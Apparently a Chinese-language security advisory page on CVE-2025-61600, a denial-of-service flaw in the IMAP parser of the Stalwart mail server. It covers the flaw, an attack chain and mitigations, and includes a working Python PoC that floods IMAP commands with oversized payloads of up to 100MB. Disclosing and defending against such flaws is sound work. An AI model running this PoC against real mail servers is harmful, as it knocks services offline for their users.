IPBUF安全漏洞报告
English
CVE-2025-61600 CVSS 7.5 高危

CVE-2025-61600 Stalwart邮件服务器IMAP解析器内存耗尽漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-61600
漏洞类型
拒绝服务(内存耗尽/Unbounded Memory Allocation)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Stalwart Mail and Collaboration Server

相关标签

拒绝服务DoS内存耗尽Memory ExhaustionIMAPStalwart邮件服务器协议解析器未认证远程攻击

漏洞概述

CVE-2025-61600是Stalwart邮件与协作服务器中存在的一个高危拒绝服务漏洞。该漏洞位于IMAP协议解析器的CommandParser实现中,由于在多个解析状态处理函数中缺少对动态缓冲区大小的限制检查,远程攻击者可以通过发送特制的IMAP命令请求,触发服务器无限制地分配内存资源,最终耗尽服务器可用内存,触发操作系统的OOM(Out-of-Memory) Killer机制,导致服务进程被强制终止,造成拒绝服务攻击。

该漏洞的CVSS 3.1评分为7.5分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N)和用户交互(UI:N),对可用性影响为高(A:H),但对机密性和完整性无直接影响。

Stalwart是一个开源的邮件与协作服务器,提供IMAP、SMTP、JMAP等多种邮件协议支持。由于IMAP是邮件客户端与服务器交互的核心协议,任何能够连接到服务器IMAP端口(默认143/993)的远程攻击者都可以利用此漏洞。该漏洞已在Stalwart 0.13.4版本中修复,官方建议用户尽快升级到最新版本以消除安全风险。

技术细节

Stalwart服务器的IMAP协议解析器基于状态机实现,CommandParser结构体在解析IMAP命令时使用动态缓冲区来存储命令参数和标签数据。在大多数解析状态下,CommandParser会对动态缓冲区的大小施加限制(例如限制为8KB或64KB),以防止恶意输入导致内存耗尽。

然而,该实现在多个状态处理函数(如解析APPEND命令、FETCH命令参数、UID命令等状态)中遗漏了缓冲区大小验证检查。攻击者可以构造包含超大参数(如超长的邮箱名、消息标志、日期字符串等)的IMAP命令发送到服务器。由于缺少大小限制,CommandParser会持续为这些超长字符串分配内存,而不会进行截断或拒绝处理。

利用方式如下:
1. 攻击者通过TCP连接到目标服务器的IMAP端口(143或993);
2. 发送特制的IMAP命令,其中包含超长参数(例如一个数十MB甚至数百MB的字符串);
3. CommandParser的状态处理函数在缺少大小检查的情况下,持续分配内存来存储该参数;
4. 重复发送此类命令或单次发送足够大的数据,快速耗尽服务器内存;
5. 操作系统触发OOM Killer,终止Stalwart进程,导致拒绝服务。

该漏洞的核心问题在于防御性编程的缺失——在所有可能接收用户输入的解析路径上都应实施统一的输入大小限制策略。

攻击链分析

STEP 1
步骤1:发现目标
攻击者通过端口扫描或Shodan等工具发现运行Stalwart邮件服务器的IMAP服务(端口143/993),确认目标版本在0.13.3及以下。
STEP 2
步骤2:建立连接
攻击者通过TCP连接到目标服务器的IMAP端口,无需任何认证即可与IMAP协议解析器交互。
STEP 3
步骤3:构造恶意请求
攻击者构造包含超长参数的IMAP命令(如APPEND、UID FETCH、LIST等),这些命令将被CommandParser中缺少大小限制的状态处理函数解析。
STEP 4
步骤4:触发内存耗尽
CommandParser的状态处理函数在缺少缓冲区大小验证的情况下,持续为超长参数分配内存,攻击者通过单次或多次发送此类请求快速耗尽服务器内存。
STEP 5
步骤5:触发OOM Killer
当服务器内存被耗尽时,Linux内核的OOM Killer机制被触发,强制终止Stalwart进程,导致邮件服务完全不可用。
STEP 6
步骤6:拒绝服务
Stalwart进程被终止后,所有依赖该服务器的邮件客户端无法收发邮件,服务中断直到管理员手动重启服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61600 PoC - Stalwart IMAP Parser Memory Exhaustion # This PoC demonstrates the unbounded memory allocation vulnerability # in Stalwart's IMAP CommandParser by sending commands with oversized # parameters to state handlers that lack buffer size validation. import socket import ssl import time import sys TARGET_HOST = "victim.example.com" TARGET_PORT = 143 # IMAP port (or 993 for IMAPS) USE_SSL = False PAYLOAD_SIZE = 100 * 1024 * 1024 # 100MB payload to exhaust memory def exploit_append_command(): """Exploit via APPEND command - parser state lacks size validation""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) if USE_SSL: context = ssl.create_default_context() sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) sock.connect((TARGET_HOST, TARGET_PORT)) # Read server greeting greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send oversized APPEND command with a very long mailbox name # The APPEND state handler in CommandParser omits buffer size checks oversized_mbox = "A" * PAYLOAD_SIZE command = f'A001 APPEND "{oversized_mbox}" (\Seen) {{1024}}\r\n' print(f"[*] Sending oversized APPEND command ({len(command)} bytes)...") sock.sendall(command.encode()) time.sleep(2) sock.close() def exploit_uid_command(): """Exploit via UID FETCH command with oversized sequence set""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET_HOST, TARGET_PORT)) greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send UID FETCH with an extremely long sequence range string # The UID FETCH state handler lacks buffer size validation oversized_seq = ":" + "1," * (PAYLOAD_SIZE // 2) command = f'A002 UID FETCH {oversized_seq} (FLAGS)\r\n' print(f"[*] Sending oversized UID FETCH command ({len(command)} bytes)...") sock.sendall(command.encode()[:1024*1024]) # Send in chunks time.sleep(2) sock.close() def exploit_list_command(): """Exploit via LIST command with oversized mailbox pattern""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET_HOST, TARGET_PORT)) greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send LIST with oversized reference and mailbox pattern # The LIST state handler may omit buffer size validation oversized_pattern = "*" * PAYLOAD_SIZE command = f'A003 LIST "" "{oversized_pattern}"\r\n' print(f"[*] Sending oversized LIST command ({len(command)} bytes)...") sock.sendall(command.encode()[:1024*1024]) time.sleep(2) sock.close() if __name__ == "__main__": print(f"[*] CVE-2025-61600 PoC - Targeting {TARGET_HOST}:{TARGET_PORT}") try: exploit_append_command() time.sleep(1) exploit_uid_command() time.sleep(1) exploit_list_command() print("[*] Exploit payloads sent. Check target server memory status.") except Exception as e: print(f"[!] Error: {e}") sys.exit(1)

影响范围

Stalwart Mail Server <= 0.13.3

防御指南

临时缓解措施
在无法立即升级到0.13.4版本的情况下,建议采取以下临时缓解措施:1)在防火墙或负载均衡器层面限制对IMAP端口(143/993)的访问,仅允许可信IP连接;2)使用iptables的connlimit模块限制每个IP的最大并发连接数;3)使用tc(流量控制)限制IMAP端口的入站带宽;4)配置系统级别的进程内存限制(如ulimit -v),限制Stalwart进程的最大虚拟内存;5)部署fail2ban等工具,自动封禁发送异常大请求的IP地址。但请注意,这些措施仅能降低风险,不能完全防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表